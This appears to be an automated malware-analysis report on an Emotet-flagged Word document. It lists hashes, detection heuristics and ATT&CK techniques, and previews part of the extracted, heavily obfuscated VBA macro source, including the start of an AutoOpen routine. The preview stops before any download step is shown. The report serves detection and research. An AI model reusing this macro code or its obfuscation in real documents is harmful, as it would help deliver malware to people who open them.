Emotet Office (OLE) malware analysis — malicious · 4b44b4e87d19bd31

MALICIOUS

Office (OLE)

172.2 KB Created: 2019-03-27 09:00:00 Authoring application: Microsoft Office Word First seen: 2019-05-16

MD5: d4affa496d8b3e5ecfa93f10fb2bb254 SHA-1: f85a68107a8661342de3e568c631eeca85171cca SHA-256: 4b44b4e87d19bd31b4652f8fd4eb2dae69dd6953f604fdcd701c8d90cbc4fdf4

222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes GetObject for execution. ClamAV detection identifies it as Emotet. The VBA script is heavily obfuscated but the presence of AutoOpen and GetObject indicates an intent to execute code upon opening, typical for downloading and running further malicious content.

Heuristics 7

ClamAV: Doc.Downloader.Emotet-6914200-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-6914200-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
GetObject call high OLE_VBA_GETOBJ

GetObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30899 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	30899 bytes
SHA-256: `28b455d9b4fe3c0cbb67ebd232aa3b3653baf33643b264a1bb17b7e5dd84ff2e`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "iAAUCQ" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "wADZAQAQ" Attribute VB_Base = "0{DBF9D248-A1E3-4610-B915-D5E26924687C}{144EA630-6A64-4AA4-8696-DAE616E571E6}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "oAQCXU1c" Attribute VB_Base = "0{D882F008-105F-4102-B17D-75CB353AF897}{3B0F7A6E-082E-4FF0-AE13-7CE7D9451777}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "D1DQxQxD" Function BwQAABxC() If pC4k_cDX = sAx_DQB Then LBkDUAQ_ = P4AAwA _ - CStr(171228564) / ZA4ADD - _ Int(hUGABUc + _ Atn(573456954) - zQAAQAQ * Hex(787988212)) + (19183769 + _ Cos(380285789 / 951056319 + 563091282 * Hex(797746808))) + PDkDocGA / _ Atn(MQA1kw + Tan(692424139) / RBDDBAxU * 355986721) End If If jBAQQkkk = sAUAoD Then GAADCGAA = HAABQA _ - CBool(974034911) / T1DAkUB - _ Tan(rACDZQoA + _ Sqr(131738762) - jACXox * CDate(217829299)) + (813291376 + _ Sin(192291776 / 764889022 + 513188544 * Rnd(366594707))) + MB_AUZ / _ Atn(SQAGAx + CInt(237044687) / rABBB1C * 930334814) End If If qcxAxDQ = sXUDcDZU Then jXAAAA = KcAUAA _ - CByte(459845587) / JQAkcAkD - _ Round(mB4AAAUA + _ CDbl(567265184) - JAD4kkD * Tan(521976944)) + (581476970 + _ Cos(200989331 / 513244029 + 811281423 * Round(206643093))) + DAUD_A_D / _ CStr(qAXZXAQA + Sgn(976374623) / AAAkAk * 914572663) End If If IQZoQA4 = jCQ1wXA Then oAACGABw = LoAAkDx _ - Round(2943896) / XADQUoAD - _ Sgn(bZAXwwDG + _ CBool(317089167) - X4AUGC * CInt(567766329)) + (53086463 + _ Log(75913341 / 336874088 + 996563627 * CByte(388275754))) + BA1AADkB / _ Sqr(aA1ZZ_oC + Sgn(196602926) / XDAAAD * 195243163) End If If PZ4UAAA = MAAoAcC Then WAAAQZB = rAwA_D _ - Hex(327108312) / jBA_xDUQ - _ Log(K4A1AG + _ CStr(19221721) - GUcAwU * CSng(259500625)) + (439046460 + _ Fix(741430536 / 796565743 + 191733440 * Sin(680596984))) + MAkCAAXA / _ Hex(qUk1wAQ + Hex(154496450) / wD1AGAUU * 938577206) End If If kokA41X = WAwDAA_o Then rAXUDQ = jABAUXAQ _ - Oct(872238221) / j1k_CA - _ Hex(zUDDCD + _ Round(512783678) - iZQBU1 * Tan(758018416)) + (55511460 + _ Rnd(118819236 / 859439527 + 609818832 * CSng(649509126))) + jAAA1C4 / _ Sgn(DAAAAAB + Sqr(766917393) / kACoUAAk * 113966824) End If If RAwDcAZA = OxBAU4 Then kB4GDBQ = aABkAA _ - CDbl(541863833) / O_ZQUoA - _ Oct(hUAAAA + _ Tan(204727991) - UQAQcx * Oct(88108648)) + (112704049 + _ Tan(412382321 / 771226093 + 619857798 * CDate(89793234))) + QwQAA1 / _ CBool(XCUUDCoB + CDate(744727963) / cDAC_AGo * 81807815) End If If SxAwBA_c = kAB_AQD Then qGAcwA_ = YDXCAZZC _ - Round(275725359) / EwQUxA - _ Hex(iBQA4A1A + _ Rnd(968206712) - nZxwAA * CByte(982588317)) + (313579146 + _ Sqr(82632365 / 358583134 + 327328899 * Cos(455789464))) + KDxAAAQ / _ Sgn(SwAA1AA + CStr(741670749) / OAUD4A * 751560910) End If End Function Sub autoopen() On Error Resume Next If W11UCUAQ = zXZD4xA Then DAkcGGD = bDQ14w1A _ - Oct(100611161) / cBAABXA - _ Sgn(tAo4111 + _ Sgn(716488468) - UxXcGBA * Log(199510593)) + (455262365 + _ Rnd(538794375 / 203821783 + 518163647 * Sin(399290806))) + ZxDkD_DU / _ CBool(FAUoAABQ + CByte(187884484) / sAcAoGDA * 904402020) End If If zAAUBA = zwAXxx Then BBZZ4Ax = nkCBDA _ - Round(814607490) / LAZDDDA - _ CDate(v4BBQQA + _ Fix(245074480) - QX_AQkQB * CSng(639311380)) + (377963518 + _ Sin(525246839 / 335501568 + 154650660 * Oct(476239846))) + qAoA1k1 / _ Fix(rwBQAAwx + Oct(588038710) / cBcQQA * 2310268 ... (truncated)

SHA-256: 28b455d9b4fe3c0cbb67ebd232aa3b3653baf33643b264a1bb17b7e5dd84ff2e

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "iAAUCQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wADZAQAQ"
Attribute VB_Base = "0{DBF9D248-A1E3-4610-B915-D5E26924687C}{144EA630-6A64-4AA4-8696-DAE616E571E6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "oAQCXU1c"
Attribute VB_Base = "0{D882F008-105F-4102-B17D-75CB353AF897}{3B0F7A6E-082E-4FF0-AE13-7CE7D9451777}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "D1DQxQxD"
Function BwQAABxC()
   If pC4k_cDX = sAx_DQB Then
      LBkDUAQ_ = P4AAwA _
- CStr(171228564) / ZA4ADD - _
Int(hUGABUc + _
Atn(573456954) - zQAAQAQ * Hex(787988212)) + (19183769 + _
Cos(380285789 / 951056319 + 563091282 * Hex(797746808))) + PDkDocGA / _
Atn(MQA1kw + Tan(692424139) / RBDDBAxU * 355986721)
End If
   If jBAQQkkk = sAUAoD Then
      GAADCGAA = HAABQA _
- CBool(974034911) / T1DAkUB - _
Tan(rACDZQoA + _
Sqr(131738762) - jACXox * CDate(217829299)) + (813291376 + _
Sin(192291776 / 764889022 + 513188544 * Rnd(366594707))) + MB_AUZ / _
Atn(SQAGAx + CInt(237044687) / rABBB1C * 930334814)
End If
   If qcxAxDQ = sXUDcDZU Then
      jXAAAA = KcAUAA _
- CByte(459845587) / JQAkcAkD - _
Round(mB4AAAUA + _
CDbl(567265184) - JAD4kkD * Tan(521976944)) + (581476970 + _
Cos(200989331 / 513244029 + 811281423 * Round(206643093))) + DAUD_A_D / _
CStr(qAXZXAQA + Sgn(976374623) / AAAkAk * 914572663)
End If
   If IQZoQA4 = jCQ1wXA Then
      oAACGABw = LoAAkDx _
- Round(2943896) / XADQUoAD - _
Sgn(bZAXwwDG + _
CBool(317089167) - X4AUGC * CInt(567766329)) + (53086463 + _
Log(75913341 / 336874088 + 996563627 * CByte(388275754))) + BA1AADkB / _
Sqr(aA1ZZ_oC + Sgn(196602926) / XDAAAD * 195243163)
End If
   If PZ4UAAA = MAAoAcC Then
      WAAAQZB = rAwA_D _
- Hex(327108312) / jBA_xDUQ - _
Log(K4A1AG + _
CStr(19221721) - GUcAwU * CSng(259500625)) + (439046460 + _
Fix(741430536 / 796565743 + 191733440 * Sin(680596984))) + MAkCAAXA / _
Hex(qUk1wAQ + Hex(154496450) / wD1AGAUU * 938577206)
End If
   If kokA41X = WAwDAA_o Then
      rAXUDQ = jABAUXAQ _
- Oct(872238221) / j1k_CA - _
Hex(zUDDCD + _
Round(512783678) - iZQBU1 * Tan(758018416)) + (55511460 + _
Rnd(118819236 / 859439527 + 609818832 * CSng(649509126))) + jAAA1C4 / _
Sgn(DAAAAAB + Sqr(766917393) / kACoUAAk * 113966824)
End If
   If RAwDcAZA = OxBAU4 Then
      kB4GDBQ = aABkAA _
- CDbl(541863833) / O_ZQUoA - _
Oct(hUAAAA + _
Tan(204727991) - UQAQcx * Oct(88108648)) + (112704049 + _
Tan(412382321 / 771226093 + 619857798 * CDate(89793234))) + QwQAA1 / _
CBool(XCUUDCoB + CDate(744727963) / cDAC_AGo * 81807815)
End If
   If SxAwBA_c = kAB_AQD Then
      qGAcwA_ = YDXCAZZC _
- Round(275725359) / EwQUxA - _
Hex(iBQA4A1A + _
Rnd(968206712) - nZxwAA * CByte(982588317)) + (313579146 + _
Sqr(82632365 / 358583134 + 327328899 * Cos(455789464))) + KDxAAAQ / _
Sgn(SwAA1AA + CStr(741670749) / OAUD4A * 751560910)
End If
End Function
Sub autoopen()
On Error Resume Next
   If W11UCUAQ = zXZD4xA Then
      DAkcGGD = bDQ14w1A _
- Oct(100611161) / cBAABXA - _
Sgn(tAo4111 + _
Sgn(716488468) - UxXcGBA * Log(199510593)) + (455262365 + _
Rnd(538794375 / 203821783 + 518163647 * Sin(399290806))) + ZxDkD_DU / _
CBool(FAUoAABQ + CByte(187884484) / sAcAoGDA * 904402020)
End If
   If zAAUBA = zwAXxx Then
      BBZZ4Ax = nkCBDA _
- Round(814607490) / LAZDDDA - _
CDate(v4BBQQA + _
Fix(245074480) - QX_AQkQB * CSng(639311380)) + (377963518 + _
Sin(525246839 / 335501568 + 154650660 * Oct(476239846))) + qAoA1k1 / _
Fix(rwBQAAwx + Oct(588038710) / cBcQQA * 2310268
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.